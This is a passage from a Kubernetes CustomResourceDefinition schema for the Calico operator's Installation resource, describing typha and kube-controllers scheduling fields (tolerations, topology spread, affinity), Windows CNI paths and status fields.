                                              anyOf:
                                              - type: integer
                                              - type: string
                                              pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                              x-kubernetes-int-or-string: true
                                            description: |-
                                              Limits describes the maximum amount of compute resources allowed.
                                              More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                            type: object
                                          requests:
                                            additionalProperties:
                                              anyOf:
                                              - type: integer
                                              - type: string
                                              pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                              x-kubernetes-int-or-string: true
                                            description: |-
                                              Requests describes the minimum amount of compute resources required.
                                              If Requests is omitted for a container, it defaults to Limits if that is explicitly specified,
                                              otherwise to an implementation-defined value. Requests cannot exceed Limits.
                                              More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                            type: object
                                        type: object
                                    required:
                                    - name
                                    type: object
                                  type: array
                                nodeSelector:
                                  additionalProperties:
                                    type: string
                                  description: |-
                                    NodeSelector is the calico-typha pod's scheduling constraints.
                                    If specified, each of the key/value pairs are added to the calico-typha Deployment nodeSelector provided
                                    the key does not already exist in the object's nodeSelector.
                                    If omitted, the calico-typha Deployment will use its default value for nodeSelector.
                                    WARNING: Please note that this field will modify the default calico-typha Deployment nodeSelector.
                                  type: object
                                terminationGracePeriodSeconds:
                                  description: |-
                                    Optional duration in seconds the pod needs to terminate gracefully. May be decreased in delete request.
                                    Value must be non-negative integer. The value zero indicates stop immediately via
                                    the kill signal (no opportunity to shut down).
                                    If this value is nil, the default grace period will be used instead.
                                    The grace period is the duration in seconds after the processes running in the pod are sent
                                    a termination signal and the time when the processes are forcibly halted with a kill signal.
                                    Set this value longer than the expected cleanup time for your process.
                                    Defaults to 30 seconds.
                                  format: int64
                                  type: integer
                                tolerations:
                                  description: |-
                                    Tolerations is the typha pod's tolerations.
                                    If specified, this overrides any tolerations that may be set on the typha Deployment.
                                    If omitted, the typha Deployment will use its default value for tolerations.
                                    WARNING: Please note that this field will override the default calico-typha Deployment tolerations.
                                  items:
                                    description: |-
                                      The pod this Toleration is attached to tolerates any taint that matches
                                      the triple <key,value,effect> using the matching operator <operator>.
                                    properties:
                                      effect:
                                        description: |-
                                          Effect indicates the taint effect to match. Empty means match all taint effects.
                                          When specified, allowed values are NoSchedule, PreferNoSchedule and NoExecute.
                                        type: string
                                      key:
                                        description: |-
                                          Key is the taint key that the toleration applies to. Empty means match all taint keys.
                                          If the key is empty, operator must be Exists; this combination means to match all values and all keys.
                                        type: string
                                      operator:
                                        description: |-
                                          Operator represents a key's relationship to the value.
                                          Valid operators are Exists and Equal. Defaults to Equal.
                                          Exists is equivalent to wildcard for value, so that a pod can
                                          tolerate all taints of a particular category.
                                        type: string
                                      tolerationSeconds:
                                        description: |-
                                          TolerationSeconds represents the period of time the toleration (which must be
                                          of effect NoExecute, otherwise this field is ignored) tolerates the taint. By default,
                                          it is not set, which means tolerate the taint forever (do not evict). Zero and
                                          negative values will be treated as 0 (evict immediately) by the system.
                                        format: int64
                                        type: integer
                                      value:
                                        description: |-
                                          Value is the taint value the toleration matches to.
                                          If the operator is Exists, the value should be empty, otherwise just a regular string.
                                        type: string
                                    type: object
                                  type: array
                                topologySpreadConstraints:
                                  description: |-
                                    TopologySpreadConstraints describes how a group of pods ought to spread across topology
                                    domains. Scheduler will schedule pods in a way which abides by the constraints.
                                    All topologySpreadConstraints are ANDed.
                                  items:
                                    description: TopologySpreadConstraint specifies
                                      how to spread matching pods among the given
                                      topology.
                                    properties:
                                      labelSelector:
                                        description: |-
                                          LabelSelector is used to find matching pods.
                                          Pods that match this label selector are counted to determine the number of pods
                                          in their corresponding topology domain.
                                        properties:
                                          matchExpressions:
                                            description: matchExpressions is a list
                                              of label selector requirements. The
                                              requirements are ANDed.
                                            items:
                                              description: |-
                                                A label selector requirement is a selector that contains values, a key, and an operator that
                                                relates the key and values.
                                              properties:
                                                key:
                                                  description: key is the label key
                                                    that the selector applies to.
                                                  type: string
                                                operator:
                                                  description: |-
                                                    operator represents a key's relationship to a set of values.
                                                    Valid operators are In, NotIn, Exists and DoesNotExist.
                                                  type: string
                                                values:
                                                  description: |-
                                                    values is an array of string values. If the operator is In or NotIn,
                                                    the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                    the values array must be empty. This array is replaced during a strategic
                                                    merge patch.
                                                  items:
                                                    type: string
                                                  type: array
                                                  x-kubernetes-list-type: atomic
                                              required:
                                              - key
                                              - operator
                                              type: object
                                            type: array
                                            x-kubernetes-list-type: atomic
                                          matchLabels:
                                            additionalProperties:
                                              type: string
                                            description: |-
                                              matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                              map is equivalent to an element of matchExpressions, whose key field is "key", the
                                              operator is "In", and the values array contains only "value". The requirements are ANDed.
                                            type: object
                                        type: object
                                        x-kubernetes-map-type: atomic
                                      matchLabelKeys:
                                        description: |-
                                          MatchLabelKeys is a set of pod label keys to select the pods over which
                                          spreading will be calculated. The keys are used to lookup values from the
                                          incoming pod labels, those key-value labels are ANDed with labelSelector
                                          to select the group of existing pods over which spreading will be calculated
                                          for the incoming pod. The same key is forbidden to exist in both MatchLabelKeys and LabelSelector.
                                          MatchLabelKeys cannot be set when LabelSelector isn't set.
                                          Keys that don't exist in the incoming pod labels will
                                          be ignored. A null or empty list means only match against labelSelector.
                                          This is a beta field and requires the MatchLabelKeysInPodTopologySpread feature gate to be enabled (enabled by default).
                                        items:
                                          type: string
                                        type: array
                                        x-kubernetes-list-type: atomic
                                      maxSkew:
                                        description: |-
                                          MaxSkew describes the degree to which pods may be unevenly distributed.
                                          When `whenUnsatisfiable=DoNotSchedule`, it is the maximum permitted difference
                                          between the number of matching pods in the target topology and the global minimum.
                                          The global minimum is the minimum number of matching pods in an eligible domain
                                          or zero if the number of eligible domains is less than MinDomains.
                                          For example, in a 3-zone cluster, MaxSkew is set to 1, and pods with the same
                                          labelSelector spread as 2/2/1:
                                          In this case, the global minimum is 1.
                                          | zone1 | zone2 | zone3 |
                                          |  P P  |  P P  |   P   |
                                          - if MaxSkew is 1, incoming pod can only be scheduled to zone3 to become 2/2/2;
                                          scheduling it onto zone1(zone2) would make the ActualSkew(3-1) on zone1(zone2)
                                          violate MaxSkew(1).
                                          - if MaxSkew is 2, incoming pod can be scheduled onto any zone.
                                          When `whenUnsatisfiable=ScheduleAnyway`, it is used to give higher precedence
                                          to topologies that satisfy it.
                                          It's a required field. Default value is 1 and 0 is not allowed.
                                        format: int32
                                        type: integer
                                      minDomains:
                                        description: |-
                                          MinDomains indicates a minimum number of eligible domains.
                                          When the number of eligible domains with matching topology keys is less than minDomains,
                                          Pod Topology Spread treats "global minimum" as 0, and then the calculation of Skew is performed.
                                          And when the number of eligible domains with matching topology keys equals or greater than minDomains,
                                          this value has no effect on scheduling.
                                          As a result, when the number of eligible domains is less than minDomains,
                                          scheduler won't schedule more than maxSkew Pods to those domains.
                                          If value is nil, the constraint behaves as if MinDomains is equal to 1.
                                          Valid values are integers greater than 0.
                                          When value is not nil, WhenUnsatisfiable must be DoNotSchedule.
                                          For example, in a 3-zone cluster, MaxSkew is set to 2, MinDomains is set to 5 and pods with the same
                                          labelSelector spread as 2/2/2:
                                          | zone1 | zone2 | zone3 |
                                          |  P P  |  P P  |  P P  |
                                          The number of domains is less than 5(MinDomains), so "global minimum" is treated as 0.
                                          In this situation, new pod with the same labelSelector cannot be scheduled,
                                          because computed skew will be 3(3 - 0) if new Pod is scheduled to any of the three zones,
                                          it will violate MaxSkew.
                                        format: int32
                                        type: integer
                                      nodeAffinityPolicy:
                                        description: |-
                                          NodeAffinityPolicy indicates how we will treat Pod's nodeAffinity/nodeSelector
                                          when calculating pod topology spread skew. Options are:
                                          - Honor: only nodes matching nodeAffinity/nodeSelector are included in the calculations.
                                          - Ignore: nodeAffinity/nodeSelector are ignored. All nodes are included in the calculations.
                                          If this value is nil, the behavior is equivalent to the Honor policy.
                                          This is a beta-level feature default enabled by the NodeInclusionPolicyInPodTopologySpread feature flag.
                                        type: string
                                      nodeTaintsPolicy:
                                        description: |-
                                          NodeTaintsPolicy indicates how we will treat node taints when calculating
                                          pod topology spread skew. Options are:
                                          - Honor: nodes without taints, along with tainted nodes for which the incoming pod
                                          has a toleration, are included.
                                          - Ignore: node taints are ignored. All nodes are included.
                                          If this value is nil, the behavior is equivalent to the Ignore policy.
                                          This is a beta-level feature default enabled by the NodeInclusionPolicyInPodTopologySpread feature flag.
                                        type: string
                                      topologyKey:
                                        description: |-
                                          TopologyKey is the key of node labels. Nodes that have a label with this key
                                          and identical values are considered to be in the same topology.
                                          We consider each <key, value> as a "bucket", and try to put balanced number
                                          of pods into each bucket.
                                          We define a domain as a particular instance of a topology.
                                          Also, we define an eligible domain as a domain whose nodes meet the requirements of
                                          nodeAffinityPolicy and nodeTaintsPolicy.
                                          e.g. If TopologyKey is "kubernetes.io/hostname", each Node is a domain of that topology.
                                          And, if TopologyKey is "topology.kubernetes.io/zone", each zone is a domain of that topology.
                                          It's a required field.
                                        type: string
                                      whenUnsatisfiable:
                                        description: |-
                                          WhenUnsatisfiable indicates how to deal with a pod if it doesn't satisfy
                                          the spread constraint.
                                          - DoNotSchedule (default) tells the scheduler not to schedule it.
                                          - ScheduleAnyway tells the scheduler to schedule the pod in any location,
                                            but giving higher precedence to topologies that would help reduce the
                                            skew.
                                          A constraint is considered "Unsatisfiable" for an incoming pod
                                          if and only if every possible node assignment for that pod would violate
                                          "MaxSkew" on some topology.
                                          For example, in a 3-zone cluster, MaxSkew is set to 1, and pods with the same
                                          labelSelector spread as 3/1/1:
                                          | zone1 | zone2 | zone3 |
                                          | P P P |   P   |   P   |
                                          If WhenUnsatisfiable is set to DoNotSchedule, incoming pod can only be scheduled
                                          to zone2(zone3) to become 3/2/1(3/1/2) as ActualSkew(2-1) on zone2(zone3) satisfies
                                          MaxSkew(1). In other words, the cluster can still be imbalanced, but scheduler
                                          won't make it *more* imbalanced.
                                          It's a required field.
                                        type: string
                                    required:
                                    - maxSkew
                                    - topologyKey
                                    - whenUnsatisfiable
                                    type: object
                                  type: array
                              type: object
                          type: object
                      type: object
                  type: object
                typhaMetricsPort:
                  description: TyphaMetricsPort specifies which port calico/typha
                    serves prometheus metrics on. By default, metrics are not enabled.
                  format: int32
                  type: integer
                variant:
                  description: |-
                    Variant is the product to install - one of Calico or TigeraSecureEnterprise
                    Default: Calico
                  enum:
                  - Calico
                  - TigeraSecureEnterprise
                  type: string
                windowsNodes:
                  description: Windows Configuration
                  properties:
                    cniBinDir:
                      description: |-
                        CNIBinDir is the path to the CNI binaries directory on Windows, it must match what is used as 'bin_dir' under
                        [plugins]
                          [plugins."io.containerd.grpc.v1.cri"]
                            [plugins."io.containerd.grpc.v1.cri".cni]
                        on the containerd 'config.toml' file on the Windows nodes.
                      type: string
                    cniConfigDir:
                      description: |-
                        CNIConfigDir is the path to the CNI configuration directory on Windows, it must match what is used as 'conf_dir' under
                        [plugins]
                          [plugins."io.containerd.grpc.v1.cri"]
                            [plugins."io.containerd.grpc.v1.cri".cni]
                        on the containerd 'config.toml' file on the Windows nodes.
                      type: string
                    cniLogDir:
                      description: CNILogDir is the path to the Calico CNI logs directory
                        on Windows.
                      type: string
                    vxlanAdapter:
                      description: VXLANAdapter is the Network Adapter used for VXLAN,
                        leave blank for primary NIC
                      type: string
                    vxlanMACPrefix:
                      description: VXLANMACPrefix is the prefix used when generating
                        MAC addresses for virtual NICs
                      pattern: ^[0-9A-Fa-f]{2}-[0-9A-Fa-f]{2}$
                      type: string
                  type: object
              type: object
            status:
              description: Most recently observed state for the Calico or Calico Enterprise
                installation.
              properties:
                calicoVersion:
                  description: |-
                    CalicoVersion shows the current running version of calico.
                    CalicoVersion along with Variant is needed to know the exact
                    version deployed.
                  type: string
                computed:
                  description: Computed is the final installation including overlaid
                    resources.
                  properties:
                    azure:
                      description: Azure is used to configure azure provider specific
                        options.
                      properties:
                        policyMode:
                          default: Default
                          description: |-
                            PolicyMode determines whether the "control-plane" label is applied to namespaces. It offers two options: Default and Manual.
                            The Default option adds the "control-plane" label to the required namespaces.
                            The Manual option does not apply the "control-plane" label to any namespace.
                            Default: Default
                          enum:
                          - Default
                          - Manual
                          type: string
                      type: object
                    calicoKubeControllersDeployment:
                      description: |-
                        CalicoKubeControllersDeployment configures the calico-kube-controllers Deployment. If used in
                        conjunction with the deprecated ComponentResources, then these overrides take precedence.
                      properties:
                        metadata:
                          description: Metadata is a subset of a Kubernetes object's
                            metadata that is added to the Deployment.
                          properties:
                            annotations:
                              additionalProperties:
                                type: string
                              description: |-
                                Annotations is a map of arbitrary non-identifying metadata. Each of these
                                key/value pairs are added to the object's annotations provided the key does not
                                already exist in the object's annotations.
                              type: object
                            labels:
                              additionalProperties:
                                type: string
                              description: |-
                                Labels is a map of string keys and values that may match replicaset and
                                service selectors. Each of these key/value pairs are added to the
                                object's labels provided the key does not already exist in the object's labels.
                              type: object
                          type: object
                        spec:
                          description: Spec is the specification of the calico-kube-controllers
                            Deployment.
                          properties:
                            minReadySeconds:
                              description: |-
                                MinReadySeconds is the minimum number of seconds for which a newly created Deployment pod should
                                be ready without any of its container crashing, for it to be considered available.
                                If specified, this overrides any minReadySeconds value that may be set on the calico-kube-controllers Deployment.
                                If omitted, the calico-kube-controllers Deployment will use its default value for minReadySeconds.
                              format: int32
                              maximum: 2147483647
                              minimum: 0
                              type: integer
                            template:
                              description: Template describes the calico-kube-controllers
                                Deployment pod that will be created.
                              properties:
                                metadata:
                                  description: |-
                                    Metadata is a subset of a Kubernetes object's metadata that is added to
                                    the pod's metadata.
                                  properties:
                                    annotations:
                                      additionalProperties:
                                        type: string
                                      description: |-
                                        Annotations is a map of arbitrary non-identifying metadata. Each of these
                                        key/value pairs are added to the object's annotations provided the key does not
                                        already exist in the object's annotations.
                                      type: object
                                    labels:
                                      additionalProperties:
                                        type: string
                                      description: |-
                                        Labels is a map of string keys and values that may match replicaset and
                                        service selectors. Each of these key/value pairs are added to the
                                        object's labels provided the key does not already exist in the object's labels.
                                      type: object
                                  type: object
                                spec:
                                  description: Spec is the calico-kube-controllers
                                    Deployment's PodSpec.
                                  properties:
                                    affinity:
                                      description: |-
                                        Affinity is a group of affinity scheduling rules for the calico-kube-controllers pods.
                                        If specified, this overrides any affinity that may be set on the calico-kube-controllers Deployment.
                                        If omitted, the calico-kube-controllers Deployment will use its default value for affinity.
                                        WARNING: Please note that this field will override the default calico-kube-controllers Deployment affinity.
                                      properties:
                                        nodeAffinity:
                                          description: Describes node affinity scheduling
                                            rules for the pod.
                                          properties:
                                            preferredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                The scheduler will prefer to schedule pods to nodes that satisfy
                                                the affinity expressions specified by this field, but it may choose
                                                a node that violates one or more of the expressions. The node that is
                                                most preferred is the one with the greatest sum of weights, i.e.
                                                for each node that meets all of the scheduling requirements (resource
                                                request, requiredDuringScheduling affinity expressions, etc.),
                                                compute a sum by iterating through the elements of this field and adding
                                                "weight" to the sum if the node matches the corresponding matchExpressions; the
                                                node(s) with the highest sum are the most preferred.
                                              items:
                                                description: |-
                                                  An empty preferred scheduling term matches all objects with implicit weight 0
                                                  (i.e. it's a no-op). A null preferred scheduling term matches no objects (i.e. is also a no-op).
                                                properties:
                                                  preference:
                                                    description: A node selector term,
                                                      associated with the corresponding
                                                      weight.
                                                    properties:
                                                      matchExpressions:
                                                        description: A list of node
                                                          selector requirements by
                                                          node's labels.
                                                        items:
                                                          description: |-
                                                            A node selector requirement is a selector that contains values, a key, and an operator
                                                            that relates the key and values.
                                                          properties:
                                                            key:
                                                              description: The label
                                                                key that the selector
                                                                applies to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                Represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                An array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. If the operator is Gt or Lt, the values
                                                                array must have a single element, which will be interpreted as an integer.
                                                                This array is replaced during a strategic merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchFields:
                                                        description: A list of node
                                                          selector requirements by
                                                          node's fields.
                                                        items:
                                                          description: |-
                                                            A node selector requirement is a selector that contains values, a key, and an operator
                                                            that relates the key and values.
                                                          properties:
                                                            key:
                                                              description: The label
                                                                key that the selector
                                                                applies to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                Represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                An array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. If the operator is Gt or Lt, the values
                                                                array must have a single element, which will be interpreted as an integer.
                                                                This array is replaced during a strategic merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  weight:
                                                    description: Weight associated
                                                      with matching the corresponding
                                                      nodeSelectorTerm, in the range
                                                      1-100.
                                                    format: int32
                                                    type: integer
                                                required:
                                                - preference
                                                - weight
                                                type: object
                                              type: array
                                              x-kubernetes-list-type: atomic
                                            requiredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                If the affinity requirements specified by this field are not met at
                                                scheduling time, the pod will not be scheduled onto the node.
                                                If the affinity requirements specified by this field cease to be met
                                                at some point during pod execution (e.g. due to an update), the system
                                                may or may not try to eventually evict the pod from its node.
                                              properties:
                                                nodeSelectorTerms:
                                                  description: Required. A list of
                                                    node selector terms. The terms
                                                    are ORed.
                                                  items:
                                                    description: |-
                                                      A null or empty node selector term matches no objects. The requirements of
                                                      them are ANDed.
                                                      The TopologySelectorTerm type implements a subset of the NodeSelectorTerm.
                                                    properties:
                                                      matchExpressions:
                                                        description: A list of node
                                                          selector requirements by
                                                          node's labels.
                                                        items:
                                                          description: |-
                                                            A node selector requirement is a selector that contains values, a key, and an operator
                                                            that relates the key and values.
                                                          properties:
                                                            key:
                                                              description: The label
                                                                key that the selector
                                                                applies to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                Represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                An array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. If the operator is Gt or Lt, the values
                                                                array must have a single element, which will be interpreted as an integer.
                                                                This array is replaced during a strategic merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchFields:
                                                        description: A list of node
                                                          selector requirements by
                                                          node's fields.
                                                        items:
                                                          description: |-
                                                            A node selector requirement is a selector that contains values, a key, and an operator
                                                            that relates the key and values.
                                                          properties:
                                                            key:
                                                              description: The label
                                                                key that the selector
                                                                applies to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                Represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                An array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. If the operator is Gt or Lt, the values
                                                                array must have a single element, which will be interpreted as an integer.
                                                                This array is replaced during a strategic merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  type: array
                                                  x-kubernetes-list-type: atomic
                                              required:
                                              - nodeSelectorTerms
                                              type: object
                                              x-kubernetes-map-type: atomic
                                          type: object
                                        podAffinity:
                                          description: Describes pod affinity scheduling
                                            rules (e.g. co-locate this pod in the
                                            same node, zone, etc. as some other pod(s)).
                                          properties:
                                            preferredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                The scheduler will prefer to schedule pods to nodes that satisfy
                                                the affinity expressions specified by this field, but it may choose
                                                a node that violates one or more of the expressions. The node that is
                                                most preferred is the one with the greatest sum of weights, i.e.
                                                for each node that meets all of the scheduling requirements (resource
                                                request, requiredDuringScheduling affinity expressions, etc.),
                                                compute a sum by iterating through the elements of this field and adding
                                                "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                                node(s) with the highest sum are the most preferred.
                                              items:
                                                description: The weights of all of
                                                  the matched WeightedPodAffinityTerm
                                                  fields are added per-node to find
                                                  the most preferred node(s)
                                                properties:
                                                  podAffinityTerm:
                                                    description: Required. A pod affinity
                                                      term, associated with the corresponding
                                                      weight.
                                                    properties:
                                                      labelSelector:
                                                        description: |-
                                                          A label query over a set of resources, in this case pods.
                                                          If it's null, this PodAffinityTerm matches with no Pods.
                                                        properties:
                                                          matchExpressions:
                                                            description: matchExpressions
                                                              is a list of label selector
                                                              requirements. The requirements
                                                              are ANDed.
                                                            items:
                                                              description: |-
                                                                A label selector requirement is a selector that contains values, a key, and an operator that
                                                                relates the key and values.
                                                              properties:
                                                                key:
                                                                  description: key
                                                                    is the label key
                                                                    that the selector
                                                                    applies to.
                                                                  type: string
                                                                operator:
                                                                  description: |-
                                                                    operator represents a key's relationship to a set of values.
                                                                    Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                  type: string
                                                                values:
                                                                  description: |-
                                                                    values is an array of string values. If the operator is In or NotIn,
                                                                    the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                    the values array must be empty. This array is replaced during a strategic
                                                                    merge patch.
                                                                  items:
                                                                    type: string
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                              required:
                                                              - key
                                                              - operator
                                                              type: object
                                                            type: array
                                                            x-kubernetes-list-type: atomic
                                                          matchLabels:
                                                            additionalProperties:
                                                              type: string
                                                            description: |-
                                                              matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                              map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                              operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                            type: object
                                                        type: object
                                                        x-kubernetes-map-type: atomic
                                                      matchLabelKeys:
                                                        description: |-
                                                          MatchLabelKeys is a set of pod label keys to select which pods will
                                                          be taken into consideration. The keys are used to lookup values from the
                                                          incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                          to select the group of existing pods which pods will be taken into consideration
                                                          for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                          pod labels will be ignored. The default value is empty.
                                                          The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                          Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                          This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      mismatchLabelKeys:
                                                        description: |-
                                                          MismatchLabelKeys is a set of pod label keys to select which pods will
                                                          be taken into consideration. The keys are used to lookup values from the
                                                          incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                          to select the group of existing pods which pods will be taken into consideration
                                                          for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                          pod labels will be ignored. The default value is empty.
                                                          The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                          Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                          This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      namespaceSelector:
                                                        description: |-
                                                          A label query over the set of namespaces that the term applies to.
                                                          The term is applied to the union of the namespaces selected by this field
                                                          and the ones listed in the namespaces field.
                                                          null selector and null or empty namespaces list means "this pod's namespace".
                                                          An empty selector ({}) matches all namespaces.
                                                        properties:
                                                          matchExpressions:
                                                            description: matchExpressions
                                                              is a list of label selector
                                                              requirements. The requirements
                                                              are ANDed.
                                                            items:
                                                              description: |-
                                                                A label selector requirement is a selector that contains values, a key, and an operator that
                                                                relates the key and values.
                                                              properties:
                                                                key:
                                                                  description: key
                                                                    is the label key
                                                                    that the selector
                                                                    applies to.
                                                                  type: string
                                                                operator:
                                                                  description: |-
                                                                    operator represents a key's relationship to a set of values.
                                                                    Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                  type: string
                                                                values:
                                                                  description: |-
                                                                    values is an array of string values. If the operator is In or NotIn,
                                                                    the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                    the values array must be empty. This array is replaced during a strategic
                                                                    merge patch.
                                                                  items:
                                                                    type: string
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                              required:
                                                              - key
                                                              - operator
                                                              type: object
                                                            type: array
                                                            x-kubernetes-list-type: atomic
                                                          matchLabels:
                                                            additionalProperties:
                                                              type: string
                                                            description: |-
                                                              matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                              map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                              operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                            type: object
                                                        type: object
                                                        x-kubernetes-map-type: atomic
                                                      namespaces:
                                                        description: |-
                                                          namespaces specifies a static list of namespace names that the term applies to.
                                                          The term is applied to the union of the namespaces listed in this field
                                                          and the ones selected by namespaceSelector.
                                                          null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      topologyKey:
                                                        description: |-
                                                          This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                          the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                          whose value of the label with key topologyKey matches that of any node on which any of the
                                                          selected pods is running.
                                                          Empty topologyKey is not allowed.
                                                        type: string
                                                    required:
                                                    - topologyKey
                                                    type: object
                                                  weight:
                                                    description: |-
                                                      weight associated with matching the corresponding podAffinityTerm,
                                                      in the range 1-100.
                                                    format: int32
                                                    type: integer
                                                required:
                                                - podAffinityTerm
                                                - weight
                                                type: object
                                              type: array
                                              x-kubernetes-list-type: atomic
                                            requiredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                If the affinity requirements specified by this field are not met at
                                                scheduling time, the pod will not be scheduled onto the node.
                                                If the affinity requirements specified by this field cease to be met
                                                at some point during pod execution (e.g. due to a pod label update), the
                                                system may or may not try to eventually evict the pod from its node.
                                                When there are multiple elements, the lists of nodes corresponding to each
                                                podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                              items:
                                                description: |-
                                                  Defines a set of pods (namely those matching the labelSelector
                                                  relative to the given namespace(s)) that this pod should be
                                                  co-located (affinity) or not co-located (anti-affinity) with,
                                                  where co-located is defined as running on a node whose value of
                                                  the label with key <topologyKey> matches that of any node on which
                                                  a pod of the set of pods is running
                                                properties:
                                                  labelSelector:
                                                    description: |-
                                                      A label query over a set of resources, in this case pods.
                                                      If it's null, this PodAffinityTerm matches with no Pods.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  matchLabelKeys:
                                                    description: |-
                                                      MatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                      Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
